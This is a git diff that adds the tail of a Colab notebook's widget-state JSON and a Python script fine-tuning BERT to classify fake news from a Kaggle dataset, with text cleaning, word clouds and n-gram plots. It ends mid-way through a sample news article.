+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c56ff4e8152d4ccc8cfa9b821c077c36": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c7220a29b2a14ccc8987044605d6f1ec": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_e4b3753b938140cdbac1bfff1f63ba09",
+              "IPY_MODEL_25f7dde2c32c4acdb25bc24b8ca5b313",
+              "IPY_MODEL_7ae0fecdd1234b71906144e81c0a6ab1"
+            ],
+            "layout": "IPY_MODEL_ef9d91c93fb74a4f94ad0872407a04c7"
+          }
+        },
+        "c754de540c8a47cebf3f6e4f050b40cf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_cd4631285003490989c95785e253f037",
+            "max": 440473133,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_9de1f4b501a64163858ce6032aa6ee1d",
+            "value": 440473133
+          }
+        },
+        "cd4631285003490989c95785e253f037": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "cde0784e04254b5eb49f53b92ea54588": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "d324b99bcd51417b9b5000543c79ddd6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d95345cb1b5a4e468c016e7bd6b11b35": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dabb004515fb40e0b6fd6d997b73729d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e05ef028960e4b128ba47f6b3faf1241": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_953307be2c19462da0bf7d66db7cad9f",
+            "max": 231508,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e13376ed7fa4446cb171837957959d5f",
+            "value": 231508
+          }
+        },
+        "e13376ed7fa4446cb171837957959d5f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e4b3753b938140cdbac1bfff1f63ba09": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1a081da141354fa2aad25058d0aa7678",
+            "placeholder": "",
+            "style": "IPY_MODEL_3653a74c1ca94b25a3ea52c95dfc0587",
+            "value": "Downloading: 100%"
+          }
+        },
+        "e4ee7d65f85f41d7a342df1166d8d958": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e8693eaf31154bebab1acf28b0d9e74a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ecd426dbd27a4645be1f40e1adcf19dc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dabb004515fb40e0b6fd6d997b73729d",
+            "placeholder": "",
+            "style": "IPY_MODEL_b4f311aff8e548089aa86f3a09f6c007",
+            "value": " 570/570 [00:00<00:00, 16.9kB/s]"
+          }
+        },
+        "ef268e43022741cba1b19b436ea9dbb3": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ef9d91c93fb74a4f94ad0872407a04c7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3246d91c82740259cde9e18d9661da4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_32d1817612724162bdf405d35e3b1cce",
+            "max": 466062,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5e7b2bfb681748168ecdcc7033b1a11b",
+            "value": 466062
+          }
+        },
+        "fab1c16a83244aaebb8e7a1669b5d208": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_60995794ce7d4bd3b5922ff70f6301e6",
+              "IPY_MODEL_c754de540c8a47cebf3f6e4f050b40cf",
+              "IPY_MODEL_5104e72cc66d45ef9a32458907c10a4f"
+            ],
+            "layout": "IPY_MODEL_474bc31082cc4cd69a1651b16c4d825f"
+          }
+        },
+        "fd158d39ffa5481ea6fa6cc5b969e739": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ffc52c35a5554f57ad5b498b45064003": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_673e98e028074102bc1441f97dd5e247",
+              "IPY_MODEL_e05ef028960e4b128ba47f6b3faf1241",
+              "IPY_MODEL_73c0a67491b54e59b6020385ce42cee1"
+            ],
+            "layout": "IPY_MODEL_cde0784e04254b5eb49f53b92ea54588"
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/nlp/fake-news-classification/fakenews_detection.py b/machine-learning/nlp/fake-news-classification/fakenews_detection.py
new file mode 100644
index 00000000..0f6de92a
--- /dev/null
+++ b/machine-learning/nlp/fake-news-classification/fakenews_detection.py
@@ -0,0 +1,362 @@
+# -*- coding: utf-8 -*-
+"""fakenews_seq_classification.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1e_3Zn4mPSYaMvRvLeOtA8AYXqOSbgkgc
+"""
+
+!pip install -q kaggle
+
+from google.colab import files
+
+files.upload()
+
+!rm -rf ~/.kaggle
+!mkdir ~/.kaggle
+!cp kaggle.json ~/.kaggle/
+
+!chmod 600 ~/.kaggle/kaggle.json
+
+!kaggle competitions download -c fake-news
+
+!unzip test.csv.zip
+!unzip train.csv.zip
+
+!pip install gdown
+
+# download from Google Drive
+!gdown "https://drive.google.com/uc?id=178f_VkNxccNidap-5-uffXUW475pAuPy&confirm=t"
+
+!unzip fake-news.zip
+
+### Import all library
+import pandas as pd
+import numpy as np
+import matplotlib.pyplot as plt
+import seaborn as sns
+
+import nltk
+nltk.download('stopwords')
+nltk.download('wordnet')
+
+# load the dataset
+news_d = pd.read_csv("train.csv")
+submit_test = pd.read_csv("test.csv")
+
+## Shape and colums of train dataset
+print(" Shape of News data :: ", news_d.shape)
+print(" News data columns", news_d.columns)
+
+## by using df.head(),We can immediately familiarize ourselves with the dataset. 
+news_d.head()
+
+#Text Word startistics: min.mean, max and interquartile range
+
+txt_length = news_d.text.str.split().str.len()
+txt_length.describe()
+
+#Title statistics 
+
+title_length = news_d.title.str.split().str.len()
+title_length.describe()
+
+sns.countplot(x="label", data=news_d);
+print("1: Unreliable")
+print("0: Reliable")
+print("Distribution of labels:")
+print(news_d.label.value_counts());
+
+print(round(news_d.label.value_counts(normalize=True),2)*100);
+
+# Constants that are used to sanitize the datasets 
+column_n = ['id', 'title', 'author', 'text', 'label']
+remove_c = ['id','author']
+categorical_features = []
+target_col = ['label']
+text_f = ['title', 'text']
+
+# Clean Datasets
+import nltk
+from nltk.corpus import stopwords
+import re
+from nltk.stem.porter import PorterStemmer
+from collections import Counter
+
+ps = PorterStemmer()
+wnl = nltk.stem.WordNetLemmatizer()
+
+stop_words = stopwords.words('english')
+stopwords_dict = Counter(stop_words)
+
+# Removed unused clumns
+def remove_unused_c(df,column_n=remove_c):
+    df = df.drop(column_n,axis=1)
+    return df
+
+# Impute null values with None
+def null_process(feature_df):
+    for col in text_f:
+        feature_df.loc[feature_df[col].isnull(), col] = "None"
+    return feature_df
+
+def clean_dataset(df):
+    # remove unused column
+    df = remove_unused_c(df)
+    #impute null values
+    df = null_process(df)
+    return df
+
+# Cleaning text from unused characters
+def clean_text(text):
+    text = str(text).replace(r'http[\w:/\.]+', ' ')  # removing urls
+    text = str(text).replace(r'[^\.\w\s]', ' ')  # remove everything but characters and punctuation
+    text = str(text).replace('[^a-zA-Z]', ' ')
+    text = str(text).replace(r'\s\s+', ' ')
+    text = text.lower().strip()
+    #text = ' '.join(text)    
+    return text
+
+## Nltk Preprocessing include:
+# Stop words, Stemming and Lemmetization
+# For our project we use only Stop word removal
+def nltk_preprocess(text):
+    text = clean_text(text)
+    wordlist = re.sub(r'[^\w\s]', '', text).split()
+    #text = ' '.join([word for word in wordlist if word not in stopwords_dict])
+    #text = [ps.stem(word) for word in wordlist if not word in stopwords_dict]
+    text = ' '.join([wnl.lemmatize(word) for word in wordlist if word not in stopwords_dict])
+    return  text
+
+# Perform data cleaning on train and test dataset by calling clean_dataset function
+df = clean_dataset(news_d)
+# apply preprocessing on text through apply method by calling the function nltk_preprocess
+df["text"] = df.text.apply(nltk_preprocess)
+# apply preprocessing on title through apply method by calling the function nltk_preprocess
+df["title"] = df.title.apply(nltk_preprocess)
+
+# Dataset after cleaning and preprocessing step
+df.head()
+
+from wordcloud import WordCloud, STOPWORDS
+import matplotlib.pyplot as plt
+
+# initialize the word cloud
+wordcloud = WordCloud( background_color='black', width=800, height=600)
+# generate the word cloud by passing the corpus
+text_cloud = wordcloud.generate(' '.join(df['text']))
+# plotting the word cloud
+plt.figure(figsize=(20,30))
+plt.imshow(text_cloud)
+plt.axis('off')
+plt.show()
+
+true_n = ' '.join(df[df['label']==0]['text']) 
+wc = wordcloud.generate(true_n)
+plt.figure(figsize=(20,30))
+plt.imshow(wc)
+plt.axis('off')
+plt.show()
+
+fake_n = ' '.join(df[df['label']==1]['text'])
+wc= wordcloud.generate(fake_n)
+plt.figure(figsize=(20,30))
+plt.imshow(wc)
+plt.axis('off')
+plt.show()
+
+def plot_top_ngrams(corpus, title, ylabel, xlabel="Number of Occurences", n=2):
+  """Utility function to plot top n-grams"""
+  true_b = (pd.Series(nltk.ngrams(corpus.split(), n)).value_counts())[:20]
+  true_b.sort_values().plot.barh(color='blue', width=.9, figsize=(12, 8))
+  plt.title(title)
+  plt.ylabel(ylabel)
+  plt.xlabel(xlabel)
+  plt.show()
+
+plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Bigrams', "Bigram", n=2)
+
+plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Bigrams', "Bigram", n=2)
+
+plot_top_ngrams(true_n, 'Top 20 Frequently Occuring True news Trigrams', "Trigrams", n=3)
+
+plot_top_ngrams(fake_n, 'Top 20 Frequently Occuring Fake news Trigrams', "Trigrams", n=3)
+
+"""# Fine-tuning BERT"""
+
+!pip install transformers
+
+import torch
+from transformers.file_utils import is_tf_available, is_torch_available, is_torch_tpu_available
+from transformers import BertTokenizerFast, BertForSequenceClassification
+from transformers import Trainer, TrainingArguments
+import numpy as np
+from sklearn.model_selection import train_test_split
+
+import random
+
+def set_seed(seed: int):
+    """
+    Helper function for reproducible behavior to set the seed in ``random``, ``numpy``, ``torch`` and/or ``tf`` (if
+    installed).
+
+    Args:
+        seed (:obj:`int`): The seed to set.
+    """
+    random.seed(seed)
+    np.random.seed(seed)
+    if is_torch_available():
+        torch.manual_seed(seed)
+        torch.cuda.manual_seed_all(seed)
+        # ^^ safe to call this function even if cuda is not available
+    if is_tf_available():
+        import tensorflow as tf
+
+        tf.random.set_seed(seed)
+
+set_seed(1)
+
+# the model we gonna train, base uncased BERT
+# check text classification models here: https://huggingface.co/models?filter=text-classification
+model_name = "bert-base-uncased"
+# max sequence length for each document/sentence sample
+max_length = 512
+
+# load the tokenizer
+tokenizer = BertTokenizerFast.from_pretrained(model_name, do_lower_case=True)
+
+news_df = news_d[news_d['text'].notna()]
+news_df = news_df[news_df["author"].notna()]
+news_df = news_df[news_df["title"].notna()]
+
+def prepare_data(df, test_size=0.2, include_title=True, include_author=True):
+  texts = []
+  labels = []
+  for i in range(len(df)):
+    text = df["text"].iloc[i]
+    label = df["label"].iloc[i]
+    if include_title:
+      text = df["title"].iloc[i] + " - " + text
+    if include_author:
+      text = df["author"].iloc[i] + " : " + text
+    if text and label in [0, 1]:
+      texts.append(text)
+      labels.append(label)
+  return train_test_split(texts, labels, test_size=test_size)
+
+train_texts, valid_texts, train_labels, valid_labels = prepare_data(news_df)
+
+print(len(train_texts), len(train_labels))
+print(len(valid_texts), len(valid_labels))
+
+# tokenize the dataset, truncate when passed `max_length`, 
+# and pad with 0's when less than `max_length`
+train_encodings = tokenizer(train_texts, truncation=True, padding=True, max_length=max_length)
+valid_encodings = tokenizer(valid_texts, truncation=True, padding=True, max_length=max_length)
+
+class NewsGroupsDataset(torch.utils.data.Dataset):
+    def __init__(self, encodings, labels):
+        self.encodings = encodings
+        self.labels = labels
+
+    def __getitem__(self, idx):
+        item = {k: torch.tensor(v[idx]) for k, v in self.encodings.items()}
+        item["labels"] = torch.tensor([self.labels[idx]])
+        return item
+
+    def __len__(self):
+        return len(self.labels)
+
+# convert our tokenized data into a torch Dataset
+train_dataset = NewsGroupsDataset(train_encodings, train_labels)
+valid_dataset = NewsGroupsDataset(valid_encodings, valid_labels)
+
+# load the model
+model = BertForSequenceClassification.from_pretrained(model_name, num_labels=2)
+
+from sklearn.metrics import accuracy_score
+
+def compute_metrics(pred):
+  labels = pred.label_ids
+  preds = pred.predictions.argmax(-1)
+  # calculate accuracy using sklearn's function
+  acc = accuracy_score(labels, preds)
+  return {
+      'accuracy': acc,
+  }
+
+training_args = TrainingArguments(
+    output_dir='./results',          # output directory
+    num_train_epochs=1,              # total number of training epochs
+    per_device_train_batch_size=10,  # batch size per device during training
+    per_device_eval_batch_size=20,   # batch size for evaluation
+    warmup_steps=100,                # number of warmup steps for learning rate scheduler
+    logging_dir='./logs',            # directory for storing logs
+    load_best_model_at_end=True,     # load the best model when finished training (default metric is loss)
+    # but you can specify `metric_for_best_model` argument to change to accuracy or other metric
+    logging_steps=200,               # log & save weights each logging_steps
+    save_steps=200,
+    evaluation_strategy="steps",     # evaluate each `logging_steps`
+)
+
+trainer = Trainer(
+    model=model,                         # the instantiated Transformers model to be trained
+    args=training_args,                  # training arguments, defined above
+    train_dataset=train_dataset,         # training dataset
+    eval_dataset=valid_dataset,          # evaluation dataset
+    compute_metrics=compute_metrics,     # the callback that computes metrics of interest
+)
+
+# train the model
+trainer.train()
+
+# evaluate the current model after training
+trainer.evaluate()
+
+# saving the fine tuned model & tokenizer
+model_path = "fake-news-bert-base-uncased"
+model.save_pretrained(model_path)
+tokenizer.save_pretrained(model_path)
+
+def get_prediction(text, convert_to_label=False):
+    # prepare our text into tokenized sequence
+    inputs = tokenizer(text, padding=True, truncation=True, max_length=max_length, return_tensors="pt").to("cuda")
+    # perform inference to our model
+    outputs = model(**inputs)
+    # get output probabilities by doing softmax
+    probs = outputs[0].softmax(1)
+    # executing argmax function to get the candidate label
+    d = {
+        0: "reliable",
+        1: "fake"
+    }
+    if convert_to_label:
+      return d[int(probs.argmax())]
+    else:
+      return int(probs.argmax())
+
+real_news = """
+Tim Tebow Will Attempt Another Comeback, This Time in Baseball - The New York Times",Daniel Victor,"If at first you don’t succeed, try a different sport. Tim Tebow, who was a Heisman   quarterback at the University of Florida but was unable to hold an N. F. L. job, is pursuing a career in Major League Baseball. He will hold a workout for M. L. B. teams this month, his agents told ESPN and other news outlets. “This may sound like a publicity stunt, but nothing could be further from the truth,” said Brodie Van Wagenen,   of CAA Baseball, part of the sports agency CAA Sports, in the statement. “I have seen Tim’s workouts, and people inside and outside the industry  —   scouts, executives, players and fans  —   will be impressed by his talent. ” It’s been over a decade since Tebow, 28, has played baseball full time, which means a comeback would be no easy task. But the former major league catcher Chad Moeller, who said in the statement that he had been training Tebow in Arizona, said he was “beyond impressed with Tim’s athleticism and swing. ” “I see bat speed and power and real baseball talent,” Moeller said. “I truly believe Tim has the skill set and potential to achieve his goal of playing in the major leagues and based on what I have seen over the past two months, it could happen relatively quickly. ” Or, take it from Gary Sheffield, the former   outfielder. News of Tebow’s attempted comeback in baseball was greeted with skepticism on Twitter. As a junior at Nease High in Ponte Vedra, Fla. Tebow drew the attention of major league scouts, batting . 494 with four home runs as a left fielder. But he ditched the bat and glove in favor of pigskin, leading Florida to two national championships, in 2007 and 2009. Two former scouts for the Los Angeles Angels told WEEI, a Boston radio station, that Tebow had been under consideration as a high school junior. “’x80’x9cWe wanted to draft him, ’x80’x9cbut he never sent back his information card,” said one of the scouts, Tom Kotchman, referring to a questionnaire the team had sent him. “He had a strong arm and had a lot of power,” said the other scout, Stephen Hargett. “If he would have been there his senior year he definitely would have had a good chance to be drafted. ” “It was just easy for him,” Hargett added. “You thought, If this guy dedicated everything to baseball like he did to football how good could he be?” Tebow’s high school baseball coach, Greg Mullins, told The Sporting News in 2013 that he believed Tebow could have made the major leagues. “He was the leader of the team with his passion, his fire and his energy,” Mullins said. “He loved to play baseball, too. He just had a bigger fire for football. ” Tebow wouldn’t be the first athlete to switch from the N. F. L. to M. L. B. Bo Jackson had one   season as a Kansas City Royal, and Deion Sanders played several years for the Atlanta Braves with mixed success. Though Michael Jordan tried to cross over to baseball from basketball as a    in 1994, he did not fare as well playing one year for a Chicago White Sox minor league team. As a football player, Tebow was unable to match his college success in the pros. The Denver Broncos drafted him in the first round of the 2010 N. F. 